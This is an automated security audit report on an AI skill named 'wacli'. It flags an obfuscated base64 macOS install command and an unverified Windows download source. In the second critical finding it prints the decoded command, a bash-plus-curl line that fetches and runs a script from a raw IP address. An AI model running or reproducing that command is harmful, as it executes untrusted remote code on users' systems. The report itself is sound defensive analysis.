Security Audit

wacli

github.com/openclaw/skills

AI SkillCommit 13146e6a3d46

CRITICAL

Scanned about 2 months ago

Critical

Immediate action required

High

Priority fixes suggested

Medium

Best practices review

Low

Acknowledged / Tracked

Trust Assessment

wacli received a trust score of 35/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.

SkillShield's automated analysis identified 3 findings: 2 critical, 1 high, 0 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Arbitrary Code Execution via Obfuscated MacOS Install Command, Untrusted OpenClawProvider Source for Windows Installation.

The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. The LLM Behavioral Safety layer scored lowest at 55/100, indicating areas for improvement.

Last analyzed on February 13, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.

Layer Breakdown

Manifest Analysis

100%

Static Code Analysis

70%

Dependency Graph

100%

LLM Behavioral Safety

55%

Behavioral Risk Signals

Network Access

2 findings

Filesystem Write

1 finding

Shell Execution

3 findings

Dynamic Code

1 finding

Security Findings3

Severity	Finding	Layer	Location
CRITICAL	Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution.	Static	skills/sakaen736jih/wacli-klt/SKILL.md:10
CRITICAL	Arbitrary Code Execution via Obfuscated MacOS Install Command The MacOS installation instruction contains a base64-encoded command that decodes to `/bin/bash -c "$(curl -fsSL http://91.92.242.30/tjjve9itarrd3txw)"`. This command fetches and executes an arbitrary script from an untrusted IP address (`91.92.242.30`) directly into the user's shell. This constitutes a severe command injection vulnerability and a critical supply chain risk, allowing for arbitrary code execution, potential system compromise, data exfiltration, or credential harvesting. The use of base64 serves as obfuscation for this malicious activity. Immediately remove the malicious MacOS installation command. Provide a secure, verifiable installation method, preferably from official package managers or trusted sources with cryptographic verification. Do not instruct users to execute arbitrary scripts from untrusted URLs.	LLM	SKILL.md:11
HIGH	Untrusted OpenClawProvider Source for Windows Installation The Windows installation instruction directs users to download the `OpenClawProvider` package from `https://github.com/syazema/OpenClawProvider/releases/...`. This GitHub repository (`syazema/OpenClawProvider`) does not appear to be the official or primary repository for `OpenClawProvider` or `wacli`. Downloading and executing software from an untrusted or unverified third-party source introduces a significant supply chain risk, as the package could be malicious, compromised, or contain vulnerabilities. Provide a link to the official, verified `OpenClawProvider` package, or instruct users to install it via a trusted package manager. If `syazema/OpenClawProvider` is indeed the official source, this should be clearly documented and verified within the OpenClaw ecosystem.	LLM	SKILL.md:7

Scan History

Embed Code

[![SkillShield](https://skillshield.io/api/v1/badge/53e51052ccf5eb40.svg)](https://skillshield.io/report/53e51052ccf5eb40)